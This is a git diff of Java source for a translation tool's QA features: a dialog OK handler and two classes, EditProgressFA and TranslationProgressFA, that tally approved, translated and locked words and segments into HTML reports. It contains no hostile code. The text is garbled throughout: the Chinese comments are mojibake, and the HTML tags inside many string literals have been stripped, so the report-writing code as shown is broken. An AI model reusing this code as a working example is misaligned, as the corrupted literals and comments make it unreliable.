? exter101Btn.getSelection() : false); + model.setLockExter100(exter100Btn.getSelection()); + model.setLockInterRepeat(interRepeatBtn.getSelection()); + + IDialogSettings dialogSettings = Activator.getDefault().getDialogSettings(); + dialogSettings.put(LOCK_EXTER_101, CommonFunction.checkEdition("U") ? exter101Btn.getSelection() : false); + dialogSettings.put(LOCK_EXTER_100, exter100Btn.getSelection()); + dialogSettings.put(LOCK_INTER_REPEAT, interRepeatBtn.getSelection()); + } + super.okPressed(); + } + + /** + * 获å–tableViewer的填充内容 + * @return + */ + public String[][] getQATableInfo() { + List qaXlfList = model.getAnalysisIFileList(); + ArrayList qaTableInfoList = new ArrayList(); + for (int i = 0; i < qaXlfList.size(); i++) { + String[] tableInfo = new String[] { "" + (i + 1), qaXlfList.get(i).getFullPath().toOSString() }; + qaTableInfoList.add(tableInfo); + } + return qaTableInfoList.toArray(new String[][] {}); + } + + /** + * tableViewer的标签æ供器 + */ + class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } + } + + @Override + public boolean close() { + if(logoImage != null && !logoImage.isDisposed()){ + logoImage.dispose(); + } + return super.close(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/EditProgressFA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/EditProgressFA.java new file mode 100644 index 0000000..246aec0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/EditProgressFA.java @@ -0,0 +1,494 @@ +package net.heartsome.cat.ts.ui.qa.fileAnalysis; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.ts.core.qa.FAModel; +import net.heartsome.cat.ts.core.qa.FileAnalysis; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.EditProgressFAResult; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * ç¼–è¾‘è¿›åº¦åˆ†æž + * @author robert 2011-12-14 + */ +public class EditProgressFA extends FileAnalysis { + private FAModel model; + private QAXmlHandler handler; + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ */ + private static int workInterval = 4; + /** 翻译进度分æžç»“果,key为文件的ç»å¯¹è·¯å¾„,值为已翻译文本段等值的pojoç±» */ + private Map editProgFAResultMap; + /** 所有包括分æžæ–‡ä»¶çš„容器 */ + private List allFolderList; + public final static Logger logger = LoggerFactory.getLogger(EditProgressFA.class.getName()); + + @Override + public int beginAnalysis(FAModel model, IProgressMonitor monitor, QAXmlHandler handler) { + this.model = model; + this.handler = handler; + super.setModel(model); + + editProgFAResultMap = new HashMap(); + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + // è¦åˆ†æžçš„文件的所有 + int allTUSize = model.getAllTuSize(); + + int traversalTuIndex = 0; + + int totalWork = allTUSize % workInterval == 0 ? (allTUSize / workInterval) : (allTUSize / workInterval) + 1; + monitor.beginTask("", totalWork); + + for (int index = 0; index < model.getAnalysisIFileList().size(); index++) { + IFile iFile = model.getAnalysisIFileList().get(index); + monitor.setTaskName(MessageFormat.format(Messages.getString("qa.fileAnalysis.EditProgressFA.tip1"), iFile + .getFullPath().toOSString())); + String iFilePath = iFile.getLocation().toOSString(); + + // 获å–å•ä¸ªæ–‡ä»¶çš„ç¿»è¯‘è¿›åº¦çš„æ•°æ® + Map editProgMap = handler.getEditProgressData(iFilePath, monitor, workInterval, + traversalTuIndex); + // 如果获å–的结果为null,åˆ™è¡¨ç¤ºç”¨æˆ·é€€å‡ºç¨‹åº + if (editProgMap == null) { + return QAConstant.QA_ZERO; + } + + traversalTuIndex += handler.getTuSizeMap().get(iFilePath); + + int notApprovedParas = editProgMap.get("notApprovedParas"); + int approvedParas = editProgMap.get("approvedParas"); + int lockedParas = editProgMap.get("lockedParas"); + int notApprovedWords = editProgMap.get("notApprovedWords"); + int approvedWords = editProgMap.get("approvedWords"); + int lockedWords = editProgMap.get("lockedWords"); + + + EditProgressFAResult editResult = new EditProgressFAResult( + notApprovedParas, approvedParas, lockedParas, + notApprovedWords, approvedWords, lockedWords); + editProgFAResultMap.put(iFilePath, editResult); + } + + if (!handler.monitorWork(monitor, traversalTuIndex, workInterval, true)) { + return QAConstant.QA_ZERO; + } + + // å¼€å§‹å¡«å……æ•°æ® + printTransProgFAReslut(); + + return QAConstant.QA_ZERO; + } + + public void printTransProgFAReslut() { + String htmlPath = createFAResultHtml(); + try { + model.getAnalysisIFileList().get(0).getProject().getFolder("Intermediate").getFolder("Report").refreshLocal(IResource.DEPTH_ONE, null); + } catch (CoreException e1) { + e1.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.EditProgressFA.log1"), e1); + } + + final FileEditorInput input = new FileEditorInput(ResourceUtils.fileToIFile(htmlPath)); + + Display.getDefault().asyncExec(new Runnable() { + public void run() { + try { + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().openEditor(input, QAConstant.FA_HtmlBrowserEditor, true); + } catch (PartInitException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.EditProgressFA.log2"), e); + } + } + }); + } + + public String createFAResultHtml() { + allFolderList = new LinkedList(); + + Date createDate = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String createTime = formatter.format(createDate); + formatter = new SimpleDateFormat("yyyyMMdd-HHmmss"); + String htmlNameTime = formatter.format(createDate); + + IProject curProject = model.getAnalysisIFileList().get(0).getProject(); + String htmlName = "EDLog" + htmlNameTime + ".html"; + String htmlPath = curProject.getLocation().append("Intermediate").append("Report").append(htmlName).toOSString(); + + File htmlFile = new File(htmlPath); + if (!htmlFile.getParentFile().exists()) { + htmlFile.getParentFile().mkdirs(); + } + + FileOutputStream output; + try { + output = new FileOutputStream(htmlPath); + output.write(QAConstant.FA_HtmlDoctype.getBytes("UTF-8")); + output.write("\n".getBytes("UTF-8")); + + String headerNode = QAConstant.FA_htmlHeader; + headerNode = headerNode.replace("###Title###", Messages.getString("qa.fileAnalysis.EditProgressFA.tip2")); + + output.write(headerNode.getBytes("UTF-8")); + output.write("\t\n".getBytes("UTF-8")); + output.write(("

    " + Messages.getString("qa.fileAnalysis.EditProgressFA.name1") + "

    ") + .getBytes("UTF-8")); + + // ----------------<<<<<\n".getBytes("UTF-8")); + output.write("\t\t\n".getBytes("UTF-8")); + // 分æžæ–‡ä»¶æ€»æ•° + String title = Messages.getString("qa.fa.info.fileSum"); + String content = "" + model.getSubFileNum(); + String infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", content); + output.write(infoStr.getBytes("UTF-8")); + + // 分æžå¤±è´¥æ–‡ä»¶ + title = Messages.getString("qa.fa.info.errorFiles"); + StringBuffer errorFileSB = new StringBuffer(); + errorFileSB.append("\t\t\t
    "); + errorFileSB.append(model.getErrorIFileList().size()); + errorFileSB.append("
    "); + for(IFile iFile : model.getErrorIFileList()){ + errorFileSB.append("\t\t\t
    "); + errorFileSB.append(iFile.getFullPath().toOSString()); + errorFileSB.append("
    "); + } + infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", errorFileSB.toString()); + output.write(infoStr.getBytes("UTF-8")); + + // 报告生æˆæ—¶é—´ + title = Messages.getString("qa.fa.info.createTime"); + infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", createTime); + output.write(infoStr.getBytes("UTF-8")); + output.write("

    \n".getBytes("UTF-8")); + // ---------------->>>>>>end-- 报表信æ¯æ示部分结æŸ--------------------- + + + // ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼å­—æ•°--------------------- + output.write(("\t\t
    " + + Messages.getString("qa.fileAnalysis.EditProgressFA.words") + "
    ").getBytes("UTF-8")); + + StringBuffer wordsFAdata = new StringBuffer(); + + getAllFolder(curProject, allFolderList); + setDataToFolder(curProject); + + // 创建一个表 + wordsFAdata.append("\t \n"); + // 表头 + wordsFAdata.append("\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\n"); + + wordsFAdata.append("\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\n"); + + // 首先写下项目 + EditProgressFAResult proFaResult = editProgFAResultMap.get(curProject.getLocation().toOSString()); + int paddLeft = 6; + String folderId = curProject.getFullPath().toOSString(); + wordsFAdata.append("\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n"); + wordsSetInputData(curProject, wordsFAdata, paddLeft); + + wordsFAdata.append("\t
    " + + Messages.getString("qa.all.fa.fileName") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.nonApprove") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.approved") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.lockWordsNum") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.wordsSum") + "
    " + + Messages.getString("qa.fileAnalysis.EditProgressFA.approveWords") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.approveProp") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.approveWords") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.approveProp") + "
    \n" + + "" + + "- " + curProject.getName() + "" + proFaResult.getNotApprovedWords() + "" + proFaResult.getNotApprovedWordsRatio() + "" + proFaResult.getApprovedWords() + "" + proFaResult.getApprovedWordsRatio() + "" + proFaResult.getLockedWords() + "" + proFaResult.getTotalWords() + "
    \n"); + output.write(wordsFAdata.toString().getBytes("UTF-8")); + output.write("
    \n".getBytes("UTF-8")); + + // ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼æ–‡æœ¬æ®µ--------------------- + + output.write(("\t\t
    " + + Messages.getString("qa.fileAnalysis.EditProgressFA.paragraph") +"
    ").getBytes("UTF-8")); + StringBuffer paraFAdata = new StringBuffer(); + + // 创建一个表 + paraFAdata.append("\t \n"); + // 表头 + paraFAdata.append("\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\n"); + + paraFAdata.append("\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\n"); + + // 首先写下项目 + paddLeft = 6; + paraFAdata.append("\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + ""); + paraSetInputData(curProject, paraFAdata, paddLeft); + + paraFAdata.append("\t
    " + + Messages.getString("qa.all.fa.fileName") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.nonApprove") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.approved") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.lockParasNum") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.paraSum") + "
    " + + Messages.getString("qa.fileAnalysis.EditProgressFA.approveParaNum") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.approveProp") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.approveParaNum") + "" + + Messages.getString("qa.fileAnalysis.EditProgressFA.approveProp") + "
    \n" + + "- " + curProject.getName() + "" + proFaResult.getNotApprovedParas() + "" + proFaResult.getNotApprovedParasRatio() + "" + proFaResult.getApprovedParas() + "" + proFaResult.getApprovedParasRatio() + "" + proFaResult.getLockedParas() + "" + proFaResult.getTotalParas() + "
    \n"); + output.write(paraFAdata.toString().getBytes("UTF-8")); + + /*String htmlPathDiv = "
    "+Messages.getString("qa.all.fa.fileLocation") + + curProject.getFullPath().append("Report").append(htmlName).toOSString() + "
    "; + output.write(htmlPathDiv.getBytes("UTF-8"));*/ + + // -----------文本段结æŸ-------------- + + output.write("\t\n".getBytes("UTF-8")); + output.write("".getBytes("UTF-8")); + output.close(); + + } catch (FileNotFoundException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.EditProgressFA.log3"), e); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.EditProgressFA.log4"), e); + } catch (IOException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.EditProgressFA.log5"), e); + } + + return htmlPath; + } + + /** + * 将文件下所有的å­æ–‡ä»¶ï¼ˆç›´æŽ¥æˆ–间接å­æ–‡ä»¶ï¼‰çš„值加到文件夹中 + */ + public void setDataToFolder(IProject curProject) { + // 先存放项目相关的信æ¯ï¼Œæ‰€æœ‰çš„文件都存放在该项目中的,因此直接é历所有的文件 + EditProgressFAResult proFaResult = new EditProgressFAResult(); + for (int i = 0; i < model.getAnalysisIFileList().size(); i++) { + IFile ifile = model.getAnalysisIFileList().get(i); + EditProgressFAResult faResult = editProgFAResultMap.get(ifile.getLocation().toOSString()); + + proFaResult.setNotApprovedParas(faResult.getNotApprovedParas()); + proFaResult.setApprovedParas(faResult.getApprovedParas()); + proFaResult.setLockedParas(faResult.getLockedParas()); + proFaResult.setNotApprovedWords(faResult.getNotApprovedWords()); + proFaResult.setApprovedWords(faResult.getApprovedWords()); + proFaResult.setLockedWords(faResult.getLockedWords()); + + } + editProgFAResultMap.put(curProject.getLocation().toOSString(), proFaResult); + + // å…ˆé历所有的文件夹 + for (int index = 0; index < allFolderList.size(); index++) { + IContainer container = allFolderList.get(index); + EditProgressFAResult folderFaResult = new EditProgressFAResult(); + // 循环所有的已ç»åˆ†æžå®Œçš„文件 + for (int i = 0; i < model.getAnalysisIFileList().size(); i++) { + IFile ifile = model.getAnalysisIFileList().get(i); + IContainer iFileParent = ifile.getParent(); + while (iFileParent != null) { + if (iFileParent.equals(container)) { + EditProgressFAResult faResult = editProgFAResultMap.get(ifile.getLocation().toOSString()); + + folderFaResult.setNotApprovedParas(faResult.getNotApprovedParas()); + folderFaResult.setApprovedParas(faResult.getApprovedParas()); + folderFaResult.setLockedParas(faResult.getLockedParas()); + folderFaResult.setNotApprovedWords(faResult.getNotApprovedWords()); + folderFaResult.setApprovedWords(faResult.getApprovedWords()); + folderFaResult.setLockedWords(faResult.getLockedWords()); + break; + } else { + iFileParent = iFileParent.getParent(); + } + } + } + editProgFAResultMap.put(container.getLocation().toOSString(), folderFaResult); + } + } + + /** + * å‘字数分æžçš„字数展示模å—å¡«å……æ•°æ® + * @param curContainer + * @param wordsFAdata + */ + public void wordsSetInputData(IContainer curContainer, StringBuffer wordsFAdata, int paddLeft) { + paddLeft += 10; + // 先判断该容器中是å¦æœ‰ç›´æŽ¥å­æ–‡ä»¶ä¸ºæœ¬æ¬¡åˆ†æžæ–‡ä»¶ + if (hasFAIFiles(curContainer)) { + // æ¯ä¸ªæ–‡ä»¶çš„å…·ä½“æ•°æ® + for (int fIndex = 0; fIndex < model.getAnalysisIFileList().size(); fIndex++) { + IFile curIFile = model.getAnalysisIFileList().get(fIndex); + if (curIFile.getParent().equals(curContainer)) { + EditProgressFAResult faResult = editProgFAResultMap.get(curIFile.getLocation().toOSString()); + + wordsFAdata.append("\t\t\n"); + wordsFAdata.append("\t\t\t" + + curIFile.getName() + "\n");// 文件å + wordsFAdata.append("\t\t\t" + faResult.getNotApprovedWords() + + "\n"); // 未批准字数 + wordsFAdata.append("\t\t\t" + + faResult.getNotApprovedWordsRatio() + "\n"); // 未批准字数比例 + wordsFAdata.append("\t\t\t" + faResult.getApprovedWords() + + "\n"); // 已批准字数 + wordsFAdata.append("\t\t\t" + + faResult.getApprovedWordsRatio() + "\n"); // 已批准字数比例 + wordsFAdata.append("\t\t\t" + + faResult.getLockedWords() + "\n"); // é”定字数 + wordsFAdata.append("\t\t\t" + faResult.getTotalWords() + + "\n"); // 总字数 + wordsFAdata.append("\t\t\n"); + } + } + } + // é历所有å«æœ‰åˆ†æžæ–‡ä»¶çš„容器,找出当å‰å®¹å™¨çš„å­å®¹å™¨ï¼Œ + for (int index = 0; index < allFolderList.size(); index++) { + IContainer childContainer = allFolderList.get(index); + if (childContainer.getParent().equals(curContainer)) { + EditProgressFAResult faResult = editProgFAResultMap.get(childContainer.getLocation().toOSString()); + String folderId = childContainer.getFullPath().toOSString(); + wordsFAdata.append("\n" + + "" + + "- " + childContainer.getName() + "\n" + + "" + faResult.getNotApprovedWords() + "\n" + + "" + faResult.getNotApprovedWordsRatio() + "\n" + + "" + faResult.getApprovedWords() + "\n" + + "" + faResult.getApprovedWordsRatio() + "\n" + + "" + faResult.getLockedWords() + "\n" + + "" + faResult.getTotalWords() + "\n" + + "\n"); + wordsSetInputData(childContainer, wordsFAdata, paddLeft); + } + } + } + + public void paraSetInputData(IContainer curContainer, StringBuffer paraFAdata, int paddLeft) { + paddLeft += 10; + // 先判断该容器中是å¦æœ‰ç›´æŽ¥å­æ–‡ä»¶ä¸ºæœ¬æ¬¡åˆ†æžæ–‡ä»¶ + if (hasFAIFiles(curContainer)) { + // æ¯ä¸ªæ–‡ä»¶çš„å…·ä½“æ•°æ® + for (int fIndex = 0; fIndex < model.getAnalysisIFileList().size(); fIndex++) { + IFile curIFile = model.getAnalysisIFileList().get(fIndex); + if (curIFile.getParent().equals(curContainer)) { + EditProgressFAResult faResult = editProgFAResultMap.get(curIFile.getLocation().toOSString()); + + paraFAdata.append("\t\t\n"); + paraFAdata.append("\t\t\t" + + curIFile.getName() + "\n");// 文件å + paraFAdata.append("\t\t\t" + faResult.getNotApprovedParas() + + "\n"); // 未批准文本段个数 + paraFAdata.append("\t\t\t" + + faResult.getNotApprovedParasRatio() + "\n"); // 未批准文本段比例 + paraFAdata.append("\t\t\t" + faResult.getApprovedParas() + + "\n"); // 已批准文本段个数 + paraFAdata.append("\t\t\t" + faResult.getApprovedParasRatio() + + "\n"); // 已批准文本段比例 + paraFAdata.append("\t\t\t" + faResult.getLockedParas() + + "\n"); // é”定文本段 + paraFAdata.append("\t\t\t" + faResult.getTotalParas() + + "\n"); // 总段数 + paraFAdata.append("\t\t\n"); + } + } + } + // é历所有å«æœ‰åˆ†æžæ–‡ä»¶çš„容器,找出当å‰å®¹å™¨çš„å­å®¹å™¨ï¼Œ + for (int index = 0; index < allFolderList.size(); index++) { + IContainer childContainer = allFolderList.get(index); + if (childContainer.getParent().equals(curContainer)) { + EditProgressFAResult faResult = editProgFAResultMap.get(childContainer.getLocation().toOSString()); + String folderId = childContainer.getFullPath().toOSString(); + paraFAdata.append("\n" + + "" + + "- " + childContainer.getName() + "\n" + + "" + faResult.getNotApprovedParas() + "\n" + + "" + faResult.getNotApprovedParasRatio() + "\n" + + "" + faResult.getApprovedParas() + "\n" + + "" + faResult.getApprovedParasRatio() + "\n" + + "" + faResult.getLockedParas() + "\n" + + ""+ faResult.getTotalParas() + "\n" + + "\n"); + paraSetInputData(childContainer, paraFAdata, paddLeft); + } + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/TranslationProgressFA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/TranslationProgressFA.java new file mode 100644 index 0000000..28913a3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/TranslationProgressFA.java @@ -0,0 +1,498 @@ +package net.heartsome.cat.ts.ui.qa.fileAnalysis; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.core.qa.FAModel; +import net.heartsome.cat.ts.core.qa.FileAnalysis; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.model.TransProgressFAResult; +import net.heartsome.cat.ts.ui.qa.resource.Messages; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * ç¿»è¯‘è¿›åº¦åˆ†æž monitor进度æ示语å¥ï¼š 翻译进度分æž: 文件{0}ç¿»è¯‘è¿›åº¦åˆ†æž ... ... + * @author robert 2011-12-13 + */ +public class TranslationProgressFA extends FileAnalysis { + private FAModel model; + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ */ + private static int workInterval = 4; + /** 翻译进度分æžç»“果,key为文件的ç»å¯¹è·¯å¾„,值为已翻译文本段等值的pojoç±» */ + private Map transProgFAResultMap; + /** 所有包括分æžæ–‡ä»¶çš„容器 */ + private List allFolderList; + public final static Logger logger = LoggerFactory.getLogger(TranslationProgressFA.class.getName()); + + @Override + public int beginAnalysis(FAModel model, IProgressMonitor monitor, QAXmlHandler handler) { + this.model = model; + super.setModel(model); + + transProgFAResultMap = new HashMap(); + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + // è¦åˆ†æžçš„文件的所有 + int allTUSize = model.getAllTuSize(); + int traversalTuIndex = 0; + + int totalWork = allTUSize % workInterval == 0 ? (allTUSize / workInterval) : (allTUSize / workInterval) + 1; + monitor.beginTask("", totalWork); + + for (int index = 0; index < model.getAnalysisIFileList().size(); index++) { + IFile iFile = model.getAnalysisIFileList().get(index); + monitor.setTaskName(MessageFormat.format(Messages.getString("qa.fileAnalysis.TranslationProgressFA.tip1"), + iFile.getFullPath().toOSString())); + String iFilePath = iFile.getLocation().toOSString(); + + // 获å–å•ä¸ªæ–‡ä»¶çš„ç¿»è¯‘è¿›åº¦çš„æ•°æ® + Map transProgMap = handler.getTransProgressData(iFilePath, monitor, workInterval, traversalTuIndex); + // 如果获å–的结果为null,åˆ™è¡¨ç¤ºç”¨æˆ·é€€å‡ºç¨‹åº + if (transProgMap == null) { + return QAConstant.QA_ZERO; + } + + traversalTuIndex += handler.getTuSizeMap().get(iFilePath); + + int notTransPara = transProgMap.get("notTransPara"); + int translatedPara = transProgMap.get("translatedPara"); + int notTransWords = transProgMap.get("notTransWords"); + int translatedWords = transProgMap.get("translatedWords"); + int lockedWords = transProgMap.get("lockedWords"); + int lockedPara = transProgMap.get("lockedPara"); + + TransProgressFAResult transResult = new TransProgressFAResult( + notTransPara, translatedPara, lockedPara, + notTransWords, translatedWords, lockedWords ); + transProgFAResultMap.put(iFilePath, transResult); + } + + if (!handler.monitorWork(monitor, traversalTuIndex, workInterval, true)) { + return QAConstant.QA_ZERO; + } + + // å¼€å§‹å¡«å……æ•°æ® + printTransProgFAReslut(); + + return QAConstant.QA_FIRST; + } + + public void printTransProgFAReslut() { + String htmlPath = createFAResultHtml(); + try { + model.getAnalysisIFileList().get(0).getProject().getFolder("Intermediate").getFolder("Report").refreshLocal(IResource.DEPTH_ONE, null); + } catch (CoreException e1) { + e1.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.TranslationProgressFA.log1"), e1); + } + + final FileEditorInput input = new FileEditorInput(ResourceUtils.fileToIFile(htmlPath)); + + Display.getDefault().asyncExec(new Runnable() { + public void run() { + try { + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().openEditor(input, QAConstant.FA_HtmlBrowserEditor, true); + } catch (PartInitException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.TranslationProgressFA.log2"), e); + } + } + }); + + } + + public String createFAResultHtml() { + allFolderList = new LinkedList(); + + Date createDate = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String createTime = formatter.format(createDate); + formatter = new SimpleDateFormat("yyyyMMdd-HHmmss"); + String htmlNameTime = formatter.format(createDate); + + IProject curProject = model.getAnalysisIFileList().get(0).getProject(); + String htmlName = "TRLog" + htmlNameTime + ".html"; + String htmlPath = curProject.getLocation().append("Intermediate").append("Report").append(htmlName).toOSString(); + + File htmlFile = new File(htmlPath); + if (!htmlFile.getParentFile().exists()) { + htmlFile.getParentFile().mkdirs(); + } + + FileOutputStream output; + try { + output = new FileOutputStream(htmlPath); + output.write(QAConstant.FA_HtmlDoctype.getBytes("UTF-8")); + output.write("\n".getBytes("UTF-8")); + + String headerNode = QAConstant.FA_htmlHeader; + headerNode = headerNode.replace("###Title###", + Messages.getString("qa.fileAnalysis.TranslationProgressFA.name1")); + + output.write(headerNode.getBytes("UTF-8")); + output.write("\t\n".getBytes("UTF-8")); + output.write(("

    " + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.TransProgresFA") + "

    ") + .getBytes("UTF-8")); + + + // ----------------<<<<<\n".getBytes("UTF-8")); + output.write("\t\t\n".getBytes("UTF-8")); + // 分æžæ–‡ä»¶æ€»æ•° + String title = Messages.getString("qa.fa.info.fileSum"); + String content = "" + model.getSubFileNum(); + String infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", content); + output.write(infoStr.getBytes("UTF-8")); + + // 分æžå¤±è´¥æ–‡ä»¶ + title = Messages.getString("qa.fa.info.errorFiles"); + StringBuffer errorFileSB = new StringBuffer(); + errorFileSB.append("\t\t\t
    "); + errorFileSB.append(model.getErrorIFileList().size()); + errorFileSB.append("
    "); + for(IFile iFile : model.getErrorIFileList()){ + errorFileSB.append("\t\t\t
    "); + errorFileSB.append(iFile.getFullPath().toOSString()); + errorFileSB.append("
    "); + } + infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", errorFileSB.toString()); + output.write(infoStr.getBytes("UTF-8")); + + // 报告生æˆæ—¶é—´ + title = Messages.getString("qa.fa.info.createTime"); + infoStr = QAConstant.FA_Report_Info.replace("###Title###", title).replace("###Content###", createTime); + output.write(infoStr.getBytes("UTF-8")); + output.write("

    \n".getBytes("UTF-8")); + // ---------------->>>>>>end-- 报表信æ¯æ示部分结æŸ--------------------- + + // ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼å­—æ•°--------------------- + output.write(("\t\t
    " + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.words") + "
    ") + .getBytes("UTF-8")); + + StringBuffer wordsFAdata = new StringBuffer(); + + getAllFolder(curProject, allFolderList); + + setDataToFolder(curProject); + + // 创建一个表 + wordsFAdata.append("\t \n"); + // 表头 + wordsFAdata.append("\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\n"); + + wordsFAdata.append("\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\t\n"); + wordsFAdata.append("\t\t\n"); + + // 首先写下项目 + TransProgressFAResult proFaResult = transProgFAResultMap.get(curProject.getLocation().toOSString()); + int paddLeft = 6; + String folderId = curProject.getFullPath().toOSString(); + wordsFAdata.append("\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + ""); + wordsSetInputData(curProject, wordsFAdata, paddLeft); + + wordsFAdata.append("\t
